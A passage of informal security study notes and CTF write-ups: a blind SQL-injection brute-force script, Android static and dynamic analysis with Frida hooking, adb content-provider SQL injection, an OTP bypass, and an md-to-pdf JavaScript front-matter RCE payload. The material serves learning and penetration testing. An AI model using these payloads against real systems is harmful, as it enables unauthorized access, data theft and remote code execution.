but the problem here is like is filtered, so after asking chatgpt i found an alternative which is admin' and current_user ~ '^A'-- and it has the same functionality.
We should run the same query for all possible characters and for the length of the username.
I created this script to do this job
import requests
import time
import urllib3
urllib3.disable_warnings()
# Base URL and target endpoint
url = "https://real.ascwg-challs.app/login"
# Headers for the request
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://real.ascwg-challs.app",
"Referer": "https://real.ascwg-challs.app/",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Te": "trailers"
}
# Characters to iterate over
characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_0123456789!@#%^&*()-=_+[]{}|;:',.<>?/`~\"\\abcdefghijklmnopqrstuvwxyz"
# Base injection point
base_injection = "admin'AND CURRENT_USER ~ '^"
password = "a"
def bruteforce():
# Initialize the discovered prefix
prefix = ""
# Try to find each character of the username
while True:
for char in characters:
# Replace the placeholder §u§ with the current prefix + char
current = prefix + char
injection = base_injection+current+'\'--'
data = f"username={injection}&password={password}"
# Send POST request
response = requests.post(url, headers=headers, data=data, verify=False)
# Wait for 1 second to respect the rate limit
time.sleep(1)
# Check for a successful response
if response.status_code == 200:
prefix += char
print(f"Found: {prefix}")
break # Move to the next character
if __name__ == "__main__":
bruteforce()
And ..
GG !!
-
Android Static Analysis
Static Analysis
It’s about examining the code without executing the program
We are going to see the important files within the android application and how can we benefit from them
Android Manifest.xml
It contains the basic info about the application
minSDKVersion : which will give us info about the version and then we can detect vulnerability depending on just the version
package name : It’s a unique identifier for the application on the device
As an attacker we address the application through this identifier in our tools and scripts, so it’s important information for us
Permissions
What data & HW components the app needs access to: (camera, BT, internet, etc..)
You can see list of permissions here
Permissions other than uses-permission are more interesting for us. These permissions are defined by the application and if you perform specific task and want to share it with other application then they can request this permission to exchange the data between each other.
Queries
It may contain application we want to exchange data with and to do that we need to be visible to it
<queries>
<package android:name="com.mwr.example.sieve"/>
</queries>
In this example we became visible to sieve application so we can exchange data with it.
We can use that when we write our attacking app to bypass login screen as example.
application
We can see many entries like:
allow backup="true" : This means that the data can be backed up (may be senstive or not)
debuggable="true" : we are allowed to debug this process of the application
extractNativeLibs="false" : If we have native libs included they can’t be compressed (not important for us), we will need it to be false when we inject frida
neworkSecurityConfig=".." : Important in dealing with ssl pinning and if it’s not included we can define it (we will talk more about it later)
In the appliction we have many components (what the app has in the background)
Activities
UI element that represents screens in the application (some of them need to be protected)
protection is done using intent-filters which says (before you go to this screen you need to go to through this screen based on factors like cookies)
exported="True" means that this activity is exposed and can be accessed from outside the app
Intent-Filter
They are filters listening to specific intents and we will discuss them later
service
It gots executed in the background as it may be resource intensive and not allowed to be done on UI
broadcast receiver
It receive info to the application like receiving sms or any data from other application
It’s an important attack surface
Content Providers
serve data from ur app to other apps
most of the time it’s related to database
exported content provider can be very dangerous and expose data to any user or app
the xml tag is provider
You may find API keys defined
At the top of the manifest you can see backup option
We will discuss these parts in more details
permissions
Each app in android system is sandboxed which means that app1 can’t access the data of app2
This is implemented by making use of the linux core of android by creating user for each application, so each app can’t access the others because it willnot have the privileges by default.
/etc/permission/platform.xml : this file defines the users’ IDs which are individual for each app
But what if app wants to access another app or utility like photos, etc….
this is defined in /etc/system/packages.xml
There are users who should be active before the system starts (hardcoded in kernel) like adb shell.
this is defined in android_filesystem_config.h
Now we need to know how can we ask for permission ???
we knew that we can see that defined permissions in AndroidManifest.xml file
and these permission will be added to /etc/system/packages.xml
What about custom permissions ??
It makes the apps exchange data between each others
This permission is defined not used directly
as example
```xml
This permission allows reading keys table in sieve application
When we go to content provider we will understand this more
and this defined permission can be used in another app like this
```xml
<uses-permission ns0:name="com.mwr.example.sieve.READ_KEYS"/>
protection of data is depending on choosing the suitable protection level
We have levels:
dangerous : The user is informed about this and the user decides to allow or deny (depending on user decision isn’t the best case)
normal : You won’t be informed and this isn’t considered a protection for senstive data, but it’s important for things like internet which doesn’t need to be decision before being used
signature : Each apps signed with the same key can access the data (to access database as example which is protected by signtature level then we need the private key of the sieve to access it) This isn’t practicle approach as private key can’t be shared.
activity
basically they are the screens of the application.
as example we may have login activity, profile activity, settings activity, code activity
There are activities like profile as example who need us to login first before accessing it
We see that the only visible activity or the frontline of our app is login page as example, so what if we want to reach the code activity directly by scanning QR code from QR scanner app directly?
The QR scanner must be able to see the code activity and this moves us to exported: which means that the activity is reachable by outside world (dangerous and handled by intents which will be discussed later)
We can know if the activity is exported or not from AndroidManifest.xml file and exported can be implicit and explicit:
explicit : occures when the activity has the attribute exported="true"
implicit : occurs if the activity has intent-filter so it’s also reachable from outside world
Exported scheme doesn’t only affect activities
we can make access exported activity using malicious app or adb shell
after getting adb shell we use the command am which is activity manager but we need to identify the activity to be opened
the activity is identified to be <package name>/<activity name(keep the dot)> so the command becomes am start-activity -n <package name>/<activity name(keep the dot)>
intents
It’s a messaging object and it can be implict and explicit
implicit : We don’t know the exact destination application like we know it’s email app but we don’t know which app exactly
explicit : We know the destination we want to call and the destination can be in the same app or in a different app
It doesn’t work with activities only but also services and BroadcastReceivers
Explicit Intents
Consider you have login activity and you want to login to reach profile activity, this can be implemented like this in login activity source code
Intent myIntent = new Intent(this,ProfileActivity.class); // defining the intent by passing the source and the target
this.startActivity(myIntent);
If we want to start the new activity with parameters
Intent myIntent = new Intent(this,ProfileActivity.class); // defining the intent by passing the source and the target
myIntent.putExtra("username","admin"); // passing username parameter with value = "admin"
this.startActivity(myIntent);
and the parameter is used in the profile activity like this
@Override
Protected void onCreate(Bundle savedInstanceState){
Intent intent = getIntent();
String user = intent.getStringExtra("username"); // get the passed parameter username
}
Implicit Intents
Here we said that we don’t know the destination exactly as example we did an action that send mail and the exact mail app isn’t choosed.
The system sends out this intent and we want to open mail app to do this action (gmail app may be opened as example) but we will know more details in BroadcastReceiver.
If parameters are passed with the intent then there’s an attack vectorif the passed data are sensitive as we can create malicious app that listens to this type of intents (mail as example) and it will sniff the system for this information and this is called Intent - Sniffing
Intent-Filter
As example the main activity will have an intent-filter with action:MAIN and category:LAUNCHER.
It’s just listening to bus system and filtering out the info related to the app we need to react with and ignore the others
It has certain tags : action, category and data
we can know more about them and the possible values here
Note: if you want to interact with intent-filter which is considered implicit use this command am start-activity -a <action> -c <category> --es <key> <value>
–es is to pass key value pair data as string
If there’s many apps with the same action, category the user will choose which app to use
BroadcastReceiver
They are a kind of notification system for ur applications.
There’s a specific events like connecting the headphone, connecting to wifi, etc…. these events are sent as broadcast to all apps
Not all apps react to this, some of them ignore it and the other can react to it through onReceive method.
ordered priority
It was an issue at android 4.3
each app is assigned a specific priority (as example sms has the highest priority = 200)
So it will be the first app to receive the msg and can decide to leave it to the next app with lower priority or not
The problem that in android <= 4.3 The attacker was able to assign it’s app a priority up to 999.
This is fixed in android 4.4 and the priority assignment is limited now.
To find which event each app is listening to, There are 2 approaches:
old approach (until Android version 8): in AndroidManifest.xml
new approach: Finding onReceive function within the Java code
In some broadcast events important data are passed so if we could receive them we may be able to move forward in the target.
Local broadcast manager can’t be exploited because we can’t interact with it, It’s just a messages bewtween classes as example.
adb.exe logcat: to show logging of the app
to open local console we use adb.exe local => this is console at which we can get the output of print function
Sending broadcast through adb: am broadcast -a <action in the intent filter or from the source code depending on android version>
we may not have the permission, so make sure u r root
pm -U: List packages with uid so we can broadcast to specific uid and replcace a with 10, so the broadcast command can be am broadcast --user <uid> -a <action>
If there’s string info to be sent with the Intent filter we can use --es option as we know.
Services
Consider you have a game and it needs some processes like rendering the game and organization of objects (in UI) and we also need network requesting as example.
If all these components are in the main activity we will have a problem: The network request may stop the UI thread until the request is done which may result in closing the app (the app in android is closed if the UI thread isn’t working for some seconds).
The solution is to make the components which isn’t in the UI to be services in background
We have 2 types of services: start service & bound service
start : very simple just the service started when we need it to do some task then close it.
bound : binding client to service (we may have client interacting with the app) then we need to wait for the clients to disconnect to shutdown this service
The services can’t make UI updates as they work in the background
If we want to do so we may make use of BroadcastReceiver and make them trigger the service via onReceive()
This was the common behvior till android 8 cause this background execution isn’t allowed any more.
What to look for ?
start : here you will look into intent
bound : look into the message object
to attack the service it needs to be Exported and Permissions to interact with this one.
ContentProvider
It’s simply provide a content and usually it’s used with databases, we can interact with them via content URI.
as example The Contacts they are stored in db and there’s content provider for this data base.
content URI is used to interact with them and in consists of:
prefix : which is content:// and it’s a good keyword to search for when reversing the app
authorty : It’s a unique identifier for the content provider
table entry
row in table
Content provider are excluded from intents so interaction with them is done in different way like using adb shell and then the command will be $ content query --uri content://com.android.contacts/contacts/1
What if we don’t have adb shell access, so we will write our malicious app.
in our app we want to define ContentResolver that asks the content provider to provide the content to us
we need 2 use cases:
Having permissions
Exported: True
Then after asking, thew content provider returns a Cursor(pointer to data in db) to our app
The content provider must include query, update, insert and delete methods and we will use them in the resolver for interaction with the provider
The data base of custom content provider are stored in data/data/<package>/db
Here we see the structure of query function and how it’s mapped to sql query.
and here we see a basic application of sqli.
content providers aren’t invoked by intents so to interact with it, it must be exported.
ContentProvider can also read and write files this moves us to path traversal vulenerability.
Let’s look in accessing file using content provider
we see that the file is vulenrable to path traversal so the app can get pin.xml file in this example
The content provider is exported if we have read or write permissions, but the protection level may prevent us from exploitation if it’s signature.
protection level dangerous can be ok if the data is encrypted.
from the source code we can reach the implementation information of db like the database.db file and the tables’ names.
note: if table name is db structure source code = key and it’s refrenced in the manifest as keys we will use key in sqli.
interaction with content provider using adb shell is done using content query|insert|... --uri <content provider uri>
OFC the table must be accessable (we should have Read or write permissions), but we have another accessable table we can make use of it to reach the protected table.
Example: passwords table is accessable but key isn’t and we have this command content query --uri content://.....DBContentProvider/passwords we can make use of projection for sqli like this content query --uri content://.....DBContentProvider/passwords --projection "* from key--" so the query became select * from key -- from passwords ... but all after the – is commented so we can ignore it now and celebrate with the key data we got.
If the protected uri isn’t defined in regex we can query it directly like this content query --uri content://.....DBContentProvider/keys/
Insertion in DB: we can see its syntax from the help of adb shell content.
Deep links
Deep Links can be implicit or explicit
They are links to specific part of an application, so with links you can access apps not only browsers.
And this is the reason for opening youtube app when we click on a youtube video link instead of opening the browser.
The app which is able to handle deep links has intent filter with category : browsable.
The intent filter may also contain one or more data tags.
this is example:
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="hex"/>
<data android:host="open"/>
<data android:host="flag"/>
</intent-filter>
we can access this component using the url hex://open or hex://flag
Example
acode is IDE for programming using the phone and when you decompile its apk you will find that it has an intent filter with a category browsable and the data scheme is acode and after digging in the source you can see that if we want to install a plugin we the url should be acode://plugin/install/<plugin ID>.
If you can register a malicious plugin then this functionality will be critical as you can force the victim to install it if he clicked the link.
The speech above is implicit deeplink.
Chrome on Android implements a custom scheme intent: with a lot more features than the regular deep links.
It has many features
- It’s a generic intent
- Control the action and category
- Target specific app and class
- Add extra values
This is called explicit deeplink at which only specified app can handle the deep link which lowers the risk.
There another way to decrease the risk which is app links
apps with httpor https schemes maybe used to hijack websites, but this can avoided with app links.
by making this intent filter <intent-filter android:autoVerify="true"> we will avoid the vulnerability
but this link must be registered through Google Search Console.
If the website is requested, assetlinks.json file must be included under /.well-known/ directory, and the app itself should be declared as an authorized app.
Web View
It’s a component that allows developers to embed web content into the app (acts as browser within the app).
It consists of
- Browser Engine: render HTML, CSS , JS to create the UI
- JS Engine: resposible for js execution and DOM manipulation
- Android Networking Framework: establish connections and handle https requests and fetching HTML, CSS, JS pages from a server
- performance enhancement: done by using GPU to enhance visual quality and responsiveness
signing
It’s needed in many things like keeping track if there’s an update for the app in the store
package name isn’t enough because it’s unique on the phone only but we can create apps with the same package name of other apps in the store.
So the developer signs the application with a private key and the signature with the package name are used to know that the app on our phone is the one on the store and this update is for it.
Private keys used for signing applications must be super safe.
This process is for verifing the author of the app.
we can sign 2 different apps with the same signature so they can share data together without the need of exported components so the components are no longer exposed to the whole world, but the app we need to exchange the data with only.
If we want to modify app.
use apktool to decompile the apk using apktool d game.apk
you will get the decompiled files and you can modify what you want
build the apk again apktool b game.apk
We can’t install the apk if it isn’t signed so we sign it using zipalign for preparing offset for the certificate to be placed in the correct place and apksigner for signing the app
before android 11 we could use jarsigner directly for signing
Let’s see the process in more details
generation the key
keytool -genkey -v -keystore <path/to/keystore file> -alias alias_name -keyalg RSA -keysize 2048 -validity 365
-getkey for generating the private key
-v make the certificate human readable
keystore is a file which is the place at which the key will be stored
alias it’s the way we will define the key
note that many keys can be saved in the same keystore but of course the alias will be different
for signing
zipalign -v 4 base.apk out.apk
apksigner sign --ks-key-alias <alias name> -ks <path/to/keystore file> out.apk
alias is needed if there are more than a key in the keystore
METAINF dir contains all signing information so it must exist after signing
Common Application Strings
We may find useful strings to get more info
Hardcoded Strings
can be found in: resources/strings.xml, activity source code
we may find: login creds, api key, exposed url, firebase URLs
-
Android Dynamic Analysis
Dynamic Analysis
It’s about testing and evaluating a program while software is running.
SSL pinning
Security methodology to ensure that app’s traffic isn’t being intercepted (prevent from Man In The Middle)
Traffic is verified using certificate
Even if we can import certificate into phone the apps may not trust this certificate
Proxies
Burpsuite (common)
Proxyman (used on MACOS only)
even when you configure the proxy and add the certificate, some apps may not work.
because apps won’t be able to authenticate the server (which is burp in this case)
There are many ways to bypass SSL like Frida, objection.
Frida
In the smart for there’s JVM (Java Virtual Machine) and all the app code is stored there.
any class code is loaded from JVM when it’s used.
Frida is hooking into this JVM and manipulates the run time data, so the code can be changed dynamically from there.
Frida consists of FRIDA SERVER on the smart phone and FRIDA CLIENT on our laptop.
We can communicate with these instances using JavaScript or python.
The Frida server hooks into the JVM using JS and the server now can modify the code in the memory, we get access to those classes, methods, etc…
Installation of FRIDA
Frida client on our laptop
pip3 install frida-tools
Frida server on the mobile or emulator
install the server from here
decompress frida server file and move it to the emulator using adp push <path to frida server> /data/local/tmp
/data/local/tmp is the target path and we choosed it because it’s where we can ran executables
chmod +x frida server in the emulator (adb shell)
run frida binary and now the server is running (need root privileges)
you have frida server running we can test the connection from the client using frida-ps which will list the processes running on the smart phone and send the output to the client.
hooking
It’s the process of overriding method as example and this is why frida so powerful
first we will start with a basic example of hooking an activity and overriding onResume() method to print anything.
onResume() is method called when we move the app to background and return it to foreground again
we will use this script
Java.perform(function() {
const Activity = Java.use('android.app.Activity');
Activity.onResume.implementation = function () {
send('onResume() got called! Let\'s call the original implementation');
this.onResume();
};
});
and we will break it down later, but uptil now It manipulates onResume() method by making it send a specific message
So this message will be sent when we go to background and start the app again in the foreground.
Calling a method
in case of static methods
Get a reference to the class
call the static method like this class-reference.method
in case of Class methods
Get a reference to the class
create a reference to the object from this class using var playerInstance = playerClassReference.$new()
call the method like this object-reference.method
Note that this process creates object each time !! we want to control specific object (we will know that later)
working with existing objects
Now we want to manipulate existing object rather than creating a new one.
This operation is done by scanning the memory for object of the class we want and once we catch the object we can manipulate it.
Frida can do this task in easy way using this Java.choose(className, callbacks)
classname: the whole name including the package
callbacks: consists of functions like:
onMatch(instance): contains code if we found an instance
onComplete(): contains code if the scan is finished
Java.perform(function() {
// We are scanning the application memory for existing instances of the Player - Class.
Java.choose('com.apphacking.fridafunc.Player', {
// onMatch - Callback => If an instance has been found,
onMatch: function(instance) {
// code if an instance has been found
send("An instance of the player class has been found = " + instance)
instance.lives.value = 9005; // to update a variable we use .value
instance.increaseLive();
send("The instance lives = " + instance.lives.value);
},
// onComplete - Callback => Finished scanning the app memory regarding to the instance.
onComplete: function() {
send("Frida has finished scanning the application memory for player instances")
}
})
})
Instance as parameter
consider we have a boss class which has object of item class as a parameter passed to the constructor of the boss.
If we want to create an instance of the boss we need an instance of the item first, so our steps will be:
Getting the classs reference of the item
Creating a new Item Instance
Getting the class reference of the boss
Creating a new boss instance
and this as the example of the script
Java.perform(function() {
// Getting the class reference of the item class.
var itemClassReference = Java.use('com.apphacking.fridainstance.Item');
// Creating a new item instance
var itemInstance = itemClassReference.$new(100000);
// Getting the class reference of the boss class.
var bossClassReference = Java.use('com.apphacking.fridainstance.Boss');
// Creating a new boss instance with the newly created item-instance as parameter.
var bossInstance = bossClassReference.$new(itemInstance);
bossInstance.hitpoints = 900000;
})
We created a new instance of the item class and we used it, but what if we want to use an existing instance ??
very simple, instead of creating a new object of item we can search in the memory for an existing one and once we find the instance we use it to create the instance of boss object.
Java.perform(function(){
// Scanning the app memory for an exisiting item instance
Java.choose('com.apphacking.fridainstance.Item', {
// If the item instance has been found
onMatch: function(itemInstance) {
// Getting the boss class reference
var bossClassReference = Java.use('com.apphacking.fridainstance.Boss');
// Creating a new bossInstance with the item instance (found) as parameter
var bossInstance = bossClassReference.$new(itemInstance);
},
onComplete: function() {
// Done scanning the app memory
send("Scanning done");
}
});
})
hooking a constructor
The constructor is the function which is called when the object is created and hooking it is a little bit different
in case of having one constructor
classReference.$init.implementation = function(){
}
in case of having more than one constructor we will user overloading
classReference.$init.overload('int').implementation = function(){
}
UI threads
in some situations you will need to create instance of object whose constructor interacts with the ui.
in this case if we just created the instance we will get error.
The solution is schedule this operation on the main thread (UI thread) and this is done like this
Java.scheduleOnMainThread(function(){
var alienInstance = classRef.$new(param);
})
now the creation of the instance is done on the UI thread and the error is prevented.
Hooking the Native Development Kit (NDK)
We hooked java functions running in JVM, but what if we have native code writted in CPP as example.
To hook a native fucnion we use interceptor.attach(target,callbacks)
target: pointer of the function we want to hook
callbacks: can be
onEnter: easy access to params
onLeave: easy access to return values
CPP code is included within Java code like this
static {
System.loadlibrary("native.lib");
}
native.lib which is CPP code is now loaded within the current activity context
We need to build a bridge from Java world to CPP to call the functions within the CPP code
this can be done like this
public native String encryptString(String pass,int round);
This is the prototype of this function in java world now.
and now we can call this function like this
<snip>
...
encryptString(pwd,round);
...
<snip>
when we look at the cpp code we will see it’s different in argumens as example
Java_com_apphacking_ndkfrida_MainActivity_decryptString(
JNIEnv* env,jobject,jstring password,int rotation
){
...
return env->NewStringUTF(encryptedvar.c_str());
}
We have these parameters:
- JNIEnv* env: pointers to all the NDKfunctions
- jobject: pointer to the current object
- jstring password: is corresponding to String pass in the java and we are concerned with the data type not the name
- int rotation: is corresponding to int round
and this in return value we make use of the env pointer and NewStringUTF() to make a compatible string in java world.
Note: if we have the prototype of the function in java world as we saw above, we can hook and modify it rather than hooking the native function itself.
In other cases we will be forced to interact with the native functions, so let’s see what can we do
To attach to the function we need a pointer to this function, with frida we can do this:
listing the NDK methods
now you have the pointer of each function
you also have access to parameters and return value through onEnter and onLeave functions
-
Android Basics
Android Architecture
Android is based on linux OS, so the android phone can take commands like any linux device ls, cd, rm, etc..
Folders and Apps depend on the linux os permission model
The figure below shows the main components of Android platform
System Apps
This layer includes both the pre-installed applications like Camera & Calender and the 3rd pary apps which is installed by the user like facebook.
The apps run within the Android runtime
Java API Framework
Allows the app to interact with other apps and it also provides abstraction for HW access
It also manages the UI
consists of many things like:
Content Provider: helps in sharing data to other apps via specific directory which should be exported content://<app-URI>/directory
View System: Making the UI of the application
Managers:
Activity => the single activity is a single UI screen of the app
Notification => application’s reminders and popups
etc….
Android Runtime
The base of the app and it powers the app with the help of core libraries
Virtual Machine to generate .dex file as a result of compliation and optmization
Native C/C++ libraries
In the same layer of Android runtime
Contains core libraries like sqlite for db, openssl for secure connection, etc…
Hardward Abstraction Layer (HAL)
Allows apps to access HW components irrespective of the type or manufacturer of the device like camera, bluetooth, GPS, etc…
New HAL types like IOT devices, gaming peripherals, etc..
Linux Kernel
Supp multiple CPU types (ARM, SoC, 32 bit, 64 bit)
The version of the Android Runtime/ API version is determined in Manifest => min SDK version
The higher the better but there’s a trade of between using higher version and serving as many customers as possible because not all phones supports the higher versions
Low version means more danger (more vulnerable)
The kernel also controls the available drivers by which the access to the devices during runtime occurs
Application Journey
Source Code (written in Java or Kotlin) + lib + resources ==compile==> DEX
The source code is compiled but lib just helps in compilation which is done by virtual machine giving DEX file
DEX ==build==> APK
APK ==sign==> signed APK
The APK must be signed using a certificate exist at the developer
The signed APK is uploaded to google play and now can be installed on user’s device
Android Security Model
Android consists of 2 security layers: DAC-Discretionary Access Control & MAC-Mandatory Access Control
Each application has its on user who is the oner of the app.
users have UID between 10000 and 999999
the username u0_a188 has UID 10188
Apps can’t interact ith each other unless explicitly granted permissions or Content Provider/Broadcast Receiver is exposed.
Application components
Activity
It’s the UI with which the user interacts
Each activity in the app is a single screen
login page is an activity and register page is another activity
Services
It handles the background processes the works behind the UI like downloading or any process
Broadcast Reciever
It handles communication between the apps with the OS of Android.
When you connect ur phone to internet the system broadcasts a message saying that the phone is connected to the internet then the apps do their work depending on getting connected to internet
Local Storage
How the app is stored in the system
consists of
Shared Preferences: Sometimes to improve the application’s performance some data is stored on the device locally
DB (content provider): data is saved in SQlite db, The app reached the data through the content provider which must be configured properly to avoid local sqli vulnerability
Files: stored for each app and isolated from other app and sometimes stored on SDcard this was vulnerable in android 4.4 and the SDcard could be accessed by other apps
Additional components
Fragments: part of activity
Views
Layouts
Intents: method by which the components communicate (discussed later)
Resources
Manifest: The most important file in the app as it contains all the components of the application (discussed later)
Developer Options
It offers you a collection of great tools that we will use in the upcoming sections like
USB-Debugging
Select mock location app
Select debug app/ Wait for debugger
Pointer Location
Bluetooth HCI Snoop Log
Enabling Developer Options
Go to System
About Phone
Go to build number and click it, then you will see if you are developer and if not it will tell you how many clicks you should do to be developer
ADB (Android Debug Bridge)
Let’s look on Its components and how it works.
ADB Components
The components are:
adb server on your machine
adbd (the daemon on the mobile) running by default on the device, so you don’t need to install it or somehink like that
adb client (binary) (in platform-tools and it comes with sdk)
adb protocol is text based protocol and we will look into it in the future
ADB process
How it works:
adb client sends command to adb server
adb server sends the command to the mobile
The command is executed on the mobile then sends it back the server
The response is forwarded back to the client
if we have single device connected we can use adb shell command, but if there are multiple devices we will use abd -s <serial> shell
ABD-Fowarding
consider there’s a service on port 31415 on the mobile, but it’s accessed locally only.
to access it through our localhost we use port forwarding
by using adb forward tcp:1337 tcp:31415 we will be able to access port 31415 on the mobile by accessing localhost:1337
Forwarding can also be reverse, but it’s not popular
by using adb reverse tcp:80 tcp:8080 we will be able to access port 8080 on our localhost through the mobile on port 80
Additional Notes
sdcard and tmp directory are both accessible from our local device to the mobile without root privileges so we can use adb push file path_on_mobile and the path can be /sdcard/
adb push to uplaod file to the mobile
adb pull to download file from the mobile
logcat is a great command you can run when u run app and the logs will be stored and you can get interesting info
adb kill server then start again this will resolve many issues if occured with the server
Android Application Structure
assets : contains resources used in the app like images, music, etc…
com : no interesting data for us
lib : contains .so files which are compiled c/cpp files because they are better than java in specific task like rendering 3d effects. (sometimes developer hide data in c/cpp code instead of java code)
armeabi : compiled for the platform of the original device
x86 : compiled for our vm as example
META-INF : related to signing the application
res : maybe considered like assets directory as it contains images, etc..
AndroidManifest.xml: We will dive into it later as it very important
classes.dex : The most important file for us as it contains the JAVA source code.
and java is compiled in dex format
resources.arsc : contains resources like resources used in the application.
Let’s recap this
DEX/ODEX files
We are going to discuss it a very high view
You have an app and it is got compiled using Java Virtual Machine
For Java app on your PC : It’s got compiled to Java Bytecode (main.class) and it is not good for smart phone as it need more resources which won’t fit with mobile battery
For mobile app : IT’s got compiled to dalvik executable (classes.dex) which is suitable for smart phones
Note: classes.dex contains at most 65535 methods and if we have more than this number we will have many .dex files which is called MultiDexing
Decompilation
To decompile an apk we need to get it first
And to get an apk
$ adb shell
$ pm list packages
$ pm path
$ adb pull <path>
to compile the app we use
apktool d <APK>
to build the app again
apktool b <APP PATH>
There are options like:
-r to not decode resources like android manifest as it will cuz problems if decoded in this case
-s to not decode source code as it will cuz problems if decoded in this case
--force-manifest this is good if the problems in resources other than manifest so it will decode manifest even if decoding resources is set to false
When we compile we will get these files (let’s compare them to unzipping we saw before)
The identical files:
assets
lib
META-INF and AndroidManifest.xml = original
res and resources.arsc = res and note that it contains values dir which contains resources.arsc data
com = in unknown
Different
smali which contains .dex files so we have java src code and we have .smali files
-
-
-
Web: PDF Generator
Description
There’s a problem with rendering the generated pdf, You need to execute /flag to be able to investigate in that issue.
Solution
when we start we see a page with Cannot GET /, so i tried to go to /robots.txt and i found
User-agent: *
Disallow: /src.zip
/src.zip contains the source code, now we can begin.
routes.js file contains
const express = require('express');
const { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession } = require('./utils');
const OTPAuth = require('otpauth');
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const router = express.Router();
const secret = new OTPAuth.Secret();
const totp = new OTPAuth.TOTP({
secret: secret,
label: 'MarkdownToPDF',
algorithm: 'SHA1',
digits: 6,
period: 30
});
const sessions = {};
const requestCounts = {};
const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
// Serve the OTP input form
router.get('/otp', (req, res) => {
res.sendFile(path.join(__dirname, 'views', 'otp.html'));
});
// Validate the OTP and set session cookie
router.post('/validate-otp', rateLimit(requestCounts), (req, res) => {
try {
const userOTP = req.body.otp;
const userIP = req.ip;
if (totp.validate({ token: userOTP, window: 1 })) {
const randomValue = crypto.randomBytes(16).toString('hex');
const sessionToken = encrypt(`${userIP}:${randomValue}:${userOTP}`, key, iv);
const expiry = Date.now() + 5 * 60 * 1000; // 5 minutes from now
sessions[sessionToken] = { expiry };
res.cookie('session', sessionToken, { httpOnly: true });
res.redirect('/convert');
} else {
res.redirect('/otp?invalid=true');
}
} catch (error) {
console.error('Error validating OTP:', error);
res.status(500).send('Server error.');
}
});
// Serve the markdown input form
router.get('/convert', requireSession(sessions), (req, res) => {
res.sendFile(path.join(__dirname, 'views', 'convert.html'));
});
// Handle form submission and convert markdown to PDF
router.post('/convert', requireSession(sessions), rateLimit(requestCounts), async (req, res) => {
try {
const markdownContent = req.body.markdown;
if (!markdownContent || typeof markdownContent !== 'string' || markdownContent.trim() === '') {
return res.status(400).send('Invalid markdown content.');
}
const outputFilePath = path.join(__dirname, 'output.pdf');
const pdf = await mdToPdfAsync({ content: markdownContent });
if (pdf && pdf.content) {
fs.writeFileSync(outputFilePath, pdf.content);
res.download(outputFilePath, 'converted.pdf', (err) => {
if (err) {
console.error('Error downloading the file:', err);
}
// Clean up the file after download
fs.unlinkSync(outputFilePath);
});
} else {
throw new Error('Failed to generate PDF.');
}
} catch (error) {
console.error('Error converting markdown to PDF:', error);
res.status(500).send('Server error.');
}
});
// Serve robots.txt
router.get('/robots.txt', (req, res) => {
res.type('text/plain');
res.sendFile(path.join(__dirname, 'public', 'robots.txt'));
});
// Serve src.zip
router.get('/src.zip', (req, res) => {
const file = path.join(__dirname, 'public', 'src.zip');
res.download(file);
});
module.exports = router;
After examining this code you will find that you can visit /otp but you can’t visit /convert as it needs an established session and this session is created after submitting the right OTP.
There’s also /utils.js contains
const crypto = require('crypto');
const { mdToPdf } = require('md-to-pdf');
const encrypt = (text, key, iv) => {
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');
return encrypted;
};
const decrypt = (encrypted, key, iv) => {
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = decipher.update(encrypted, 'hex', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
};
const mdToPdfAsync = async (markdown) => {
return await mdToPdf({ content: markdown }).catch(console.error);
};
const rateLimit = (requestCounts) => (req, res, next) => {
try {
const ip = req.ip;
if (!requestCounts[ip]) {
requestCounts[ip] = {
count: 0,
resetTime: Date.now() + 100000
};
}
const currentRequestCount = requestCounts[ip].count;
const resetTime = requestCounts[ip].resetTime;
if (Date.now() > resetTime) {
requestCounts[ip].count = 0;
requestCounts[ip].resetTime = Date.now() + 100000;
}
requestCounts[ip].count++;
if (currentRequestCount >= 50) {
requestCounts[ip].resetTime = Date.now() + 300000;
console.log(`Rate limit exceeded for IP ${ip}. Access blocked for 300 seconds.`);
res.sendFile(path.join(__dirname, 'views', 'rate_limit.html'), {
timeRemaining: Math.ceil((resetTime - Date.now()) / 1000)
});
} else {
next();
}
} catch (error) {
console.error('Error in rate limit middleware:', error);
res.status(500).send('Server error.');
}
};
const requireSession = (sessions) => (req, res, next) => {
try {
const sessionToken = req.cookies.session;
if (sessionToken) {
const session = sessions[sessionToken];
if (session && session.expiry > Date.now()) {
return next();
} else {
delete sessions[sessionToken];
}
}
res.redirect('/otp');
} catch (error) {
console.error('Error in session middleware:', error);
res.status(500).send('Server error.');
}
};
module.exports = { encrypt, decrypt, mdToPdfAsync, rateLimit, requireSession };
Anyway let’s visit /otp endpoint which is very simple
After many attempts and reading the source code i noticed that const OTPAuth = require('otpauth'); and searched about this package and i found that the package itself is vulnerable.
You can that see here.
The totp.validate() function which is used in our code is vulnerable and may return positive values for single digit tokens even if they are invalid. This may allow attackers to bypass the OTP authentication by providing single digit tokens.
Very nice after this info i tried to submit a single digit from 0 to 9 and one of them logged me in successfully.
After logging in i got redirected to /convert
So this page takes and md input and makes it PDF.
When I try to supply any input, i get server error but the function works properly underground (the error is in rendering only), so It’s a blind challange then ummmmmmmmmmmm.
After attempts i noticed also that the sorc code has const { mdToPdf } = require('md-to-pdf');
Guess What !!!
Yeah very new way !!
This package is also vulnerable xDDD
You can find that here
From the article i found that the payload i will use is
---js
((require("child_process")).execSync("id > /tmp/RCE.txt"))
---RCE
But the response isn’t rendered so we will try another way.
